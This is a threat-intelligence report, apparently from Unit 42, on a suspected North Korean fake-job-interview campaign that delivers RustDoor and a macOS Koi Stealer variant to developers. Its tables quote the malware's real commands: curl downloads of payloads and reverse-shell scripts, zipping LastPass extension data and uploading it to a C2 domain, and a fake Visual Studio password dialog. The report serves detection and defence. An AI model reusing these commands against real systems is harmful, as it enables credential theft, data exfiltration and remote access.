Malware targeting macOS systems is increasingly pervasive in our current threat landscape. Most of the associated threats are cybercrime-related, ranging from information stealers to cryptocurrency mining. Over the past year, we have witnessed an increase in cybercrime activity linked to North Korean nation-state APT groups.
In line with the public service announcement issued by the FBI regarding North Korean social engineering attacks, we have also witnessed several such social engineering attempts, targeting job-seeking software developers in the cryptocurrency sector.
In this campaign, we discovered a Rust-based macOS malware nicknamed RustDoor masquerading as a legitimate software update, as well as a previously undocumented macOS variant of a malware family known as Koi Stealer. During our investigation, we observed rare evasion techniques, namely, manipulating components of macOS to remain under the radar.
The characteristics of these attackers are similar to various reports during the past year of North Korean threat actors targeting other job seekers. We assess with a moderate level of confidence that this attack was carried out on behalf of the North Korean regime.
This article details the activity of attackers within compromised environments. It also provides a technical analysis of the newly discovered Koi Stealer macOS variant and depicts the different stages of the attack through the lens of Cortex XDR.
Palo Alto Networks customers are better protected against the RustDoor and Koi Stealer malware presented in this research through the following products and services:
If you think you might have been compromised or have an urgent matter, contact the Unit 42 Incident Response team.
Related Unit 42 Topics | macOS, Infostealer, Rust |
This campaign’s infection vector bears similarities to previous research.
We have tracked activity from suspected North Korean threat actors in a campaign we track as CL-STA-240 and call Contagious Interview. In this campaign, attackers pose as recruiters or prospective employers and ask potential victims to install malware masquerading as legitimate development software as part of the vetting process. These attacks generally target job seekers in the tech industry and likely occur through email, messaging platforms or other online interview methods. While our research into this current activity reveals similarities with Contagious Interview, we did observe distinct tactics, techniques and procedures (TTPs) that cause us to consider this a separate campaign.
Recent research from Jamf Threat Labs describes a similar attack method, this time using a malicious Visual Studio project challenge named “SlackToCSV” to target job-seeking software developers.
In our research, we found forensic evidence of a similar malicious Visual Studio project in addition to other malicious projects. Moreover, one of the samples of the RustBucket malware named .zsh_env had the same hash as the ThiefBucket sample noted by Jamf Threat Labs. However, we found different command and control (C2) servers for other samples we encountered during our research.
When examining attacker activity on the infected endpoints, we noticed their persistent nature, as attackers attempted to execute several different malware variants. When these attempts were prevented by Cortex XDR, the attackers tried redeploying and executing additional malware to evade detection. Analyzing one of these attacks, we can divide it into three distinct stages:
We describe these phases in the following sections, starting with the initial attempt to execute two RustDoor variants.
Initially, when executing the fake job interview project within Visual Studio, the malicious code attempts to download and execute two separate Mach-O binaries of RustDoor. Figure 1 shows the names and locations of these Mach-O files from a Cortex XDR alert blocking the activity.
The paths of the RustDoor files are:
After the first two RustDoor binaries’ executions were prevented, the attackers executed another sample of RustDoor. The malware then attempted to steal sensitive data such as passwords from the LastPass Google Chrome extension, exfiltrate data to its C2 server and download two additional bash scripts. These bash scripts are intended to open a reverse shell connection with the attackers.
Figure 2 shows the different commands executed by this RustDoor binary.
Table 1 shows the different command lines from Figure 2 and their respective descriptions.
Command Line | Description |
curl -O -s hxxps://apple-ads-metric[.]com/npm | Download RustDoor |
chflags hidden npm | Set RustDoor to be hidden on disk |
chmod +x npm | Grant RustDoor execution permissions |
log stream --predicate eventMessage contains "com.apple.restartInitiated" or eventMessage contains "com.apple.shutdownInitiated" --info | Retrieve information about shutdown and restart events |
zsh -c zip -r [redacted].zip /Users/$USER$/Library/Application\ Support/Google/Chrome/Default/Local\ Extension\ Settings/aeblfdkhhhdcdjpifhhbdiojplfjncoa | Steal LastPass data from Google Chrome's extension for LastPass |
zsh -c curl -F file=[redacted].zip hxxps://visualstudiomacupdate[.]com/tasks/upload_file | Data exfiltration attempt |
zsh -c curl -O -s hxxps://apple-ads-metric[.]com/back.sh | Reverse shell script No. 1 |
zsh -c curl -O -s hxxps://apple-ads-metric[.]com/sh.sh && chmod +x sh.sh | Reverse shell script No. 2 and grant execution permissions |
zsh -c mdfind -name .pem | Searching for public keys |
Table 1. The command lines executed by RustDoor and their description.
Figure 3 shows a Cortex XDR alert blocking attempts at reverse shell execution by both shell scripts to a C2 server at 31.41.244[.]92 over TCP port 443.
The IP address (31.41.244[.]92) the reverse shell connection attempt was initiated from has a history of malicious use since at least 2022, and it was previously associated with RedLine Stealer.
The attackers downloaded and executed a final payload that we have identified as a previously undocumented variant of Koi Stealer malware. This Koi Stealer sample masqueraded as a VisualStudio update, which prompted the user to install it and grant it Administrator access.
Figure 4 shows the execution process as detected in Cortex XDR.
The different command lines from Figure 2 and their respective descriptions are detailed below in Table 2, excluding commands similar to those described in Table 1.
Command Line | Description |
sh -c tccutil reset AppleEvents | Reset permissions for Apple Events |
sh -c ps aux | List running processes |
sh -c system_profiler SPHardwareDataType | Retrieve detailed information about the device’s hardware |
sh -c osascript<<EOD
display dialog "Visual Studio requires permission to install update. Please enter password for [redacted]:" default answer "" with title "Visual Studio" with icon POSIX file "/Users/$USER$/vs.png" with hidden answer EOD |
Display a window with a password prompt |
sh -c sw_vers | Retrieve the macOS software version |
Table 2. The command lines executed by Koi Stealer and their description.
The Koi Stealer malware is an infostealer that retrieves sensitive data from compromised devices in two phases and sends it back to the C2 server. Similar to the features of the latest Windows variant, the macOS variant is heavily focused on stealing different cryptocurrency wallets. The full list can be found in Appendix C.
The section below details key features of the Koi Stealer macOS malware and compares the sample's macOS functionality with its Windows counterpart.
Initially, Koi Stealer collects reconnaissance information from the infected machine, such as the hardware Universally Unique Identifier (UUID) and information about the current user.
Since this Koi Stealer impersonates Visual Studio, potential victims may be less suspicious when the app requests a root password as shown below in Figure 5. The RustDoor variant operates in a similar way.
This pop-up asking for the root password remains until the user enters the correct password. After retrieving the user’s password and UUID, the malware decodes the C2 URL and forwards these three pieces of information to its main function.
Figure 6 displays decompiled code from the malware. The instructions show these three functions and the URL for sending the stolen data to the malware's C2 server.
The main function begins by generating two random keys, which the malware uses later to encrypt the data that it will send to the C2 server. The malware then proceeds to build an initial HTTP request that exfiltrates the following information:
After the first stage is complete, the malware moves to its second stage of data gathering and exfiltration. During this phase, it copies multiple files of interest from the infected machine, including:
This malware uses AppleScript to mute the system’s volume. It might do this to conceal subsequent commands that copy multiple files, which could create a noticeable notification sound.
After executing the exfiltration commands, the malware restores the audio using the same technique. The malware uses the following AppleScript commands for muting and unmuting the system volume:
Later in its execution flow, the malware uses AppleScript again for a different purpose, to collect specific files and copy them from multiple locations to a temporary directory. These files are part of stage 2 for stolen information sent to the C2 server.
This time, the malware focuses on all the files located in the user’s ~/Desktop and ~/Documents directories, filtered by selected extensions. The attacker likely uses AppleScript in this manner in an attempt to remain undetected.
Figure 7 shows the corresponding code, and the full list of extensions can also be found in Appendix C.
Koi Stealer’s strings are decrypted at runtime using the same function called numerous times throughout the binary. In this sample, the decryption function iterates through each character in a hard-coded key (xRdEh3f6g1qxTxsCfg1d30W66JuUgQvVti), from index 0 to 33, XORing each character of the key with the corresponding character in the encrypted string.
During our research, we developed a program that implements the same logic, allowing us to decrypt the strings and better understand the malware’s functionality. Figure 8 shows decryption function code from the malware. Appendix C lists notable decrypted strings.
During our research, we found multiple similarities with a previous sample we have determined to be a Windows variant of Koi Stealer (SHA256: 2b8c057cf071bcd548d23bc7d73b4a90745e3ff22e5cddcc71fa34ecbf76a8b5). In this section we will detail the most notable ones, demonstrating the strong resemblance between the two.
In both cases, malware developers used similar string formats for transmitting and receiving requests from the C2 server. However, the hard-coded strings differ between the two variants.
In both variants, the strings are formatted as follows: BASECFG|<hardware UUID>|I1StYPe4|{encrypted host information}.
Figures 9 and 10 show the string formats in code from both the macOS and Windows variants.
Moreover, both variants send memory streams of data directly to the C2 server, to avoid saving certain information on disk thus risking detection.
When analyzing the code structure and general execution flow in both variants, we noticed multiple similarities. For example, they shared an interest in similar sensitive data and the general code flow that consists of encapsulating each stolen data type in a separate function.
In addition to typical data that infostealers usually steal, both samples also focus on unique paths, such as the configurations for Steam and Discord. Figures 11 and 12 show the code responsible for stealing data in the two variants.
At the time of writing this article, it remains unclear which of the North Korean APT groups or sub-groups are behind this operation. However, we can link this activity to known North Korean operations, based on the following:
Considering all of the above, we assess with a moderate level of confidence that this attack was carried out on behalf of the North Korean regime.
In this article, we reviewed a campaign we believe is linked to North Korean threat actors. The campaign includes a previously undocumented macOS variant of malware known as Koi Stealer. We analyzed how attackers delivered and used it to try to gather sensitive data and cryptocurrency wallets from compromised endpoints. We reviewed the modus operandi of this campaign and discussed the possible ties this campaign has with North Korean threat actors.
We also detailed the persistent nature of the attackers that deployed different tools, as their previous attempts were detected and prevented by Cortex XDR.
Finally, this campaign highlights the risks organizations worldwide face from elaborate social engineering attacks designed to infiltrate networks and steal sensitive data and cryptocurrencies. These risks are magnified when the perpetrator is a nation-state threat actor, compared to a purely financially motivated cybercriminal.
We encourage organizations to implement a proactive and multilayered approach when facing such threats and invest in social engineering awareness training.
For Palo Alto Networks customers, our products and services provide the following coverage associated with this group:
If you think you might have been impacted or have an urgent matter, get in touch with the Unit 42 Incident Response team or call:
Palo Alto Networks has shared these findings, including file samples and indicators of compromise, with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance.
The new Cortex XDR macOS Analytics module provides enhanced behavioral detection capabilities against complex threats targeting macOS users. In the incidents described above, several rules were triggered by malicious activity originating from infected endpoints. Figure A1 below depicts alerts that were triggered due to suspicious unauthorized browser credentials access and an attempt to open a reverse shell.
.zsh_env
Malware downloads domain
RustDoor C2 domain
macOS Koi Stealer C2 IP address
Reverse shell IP address
Strings encryption key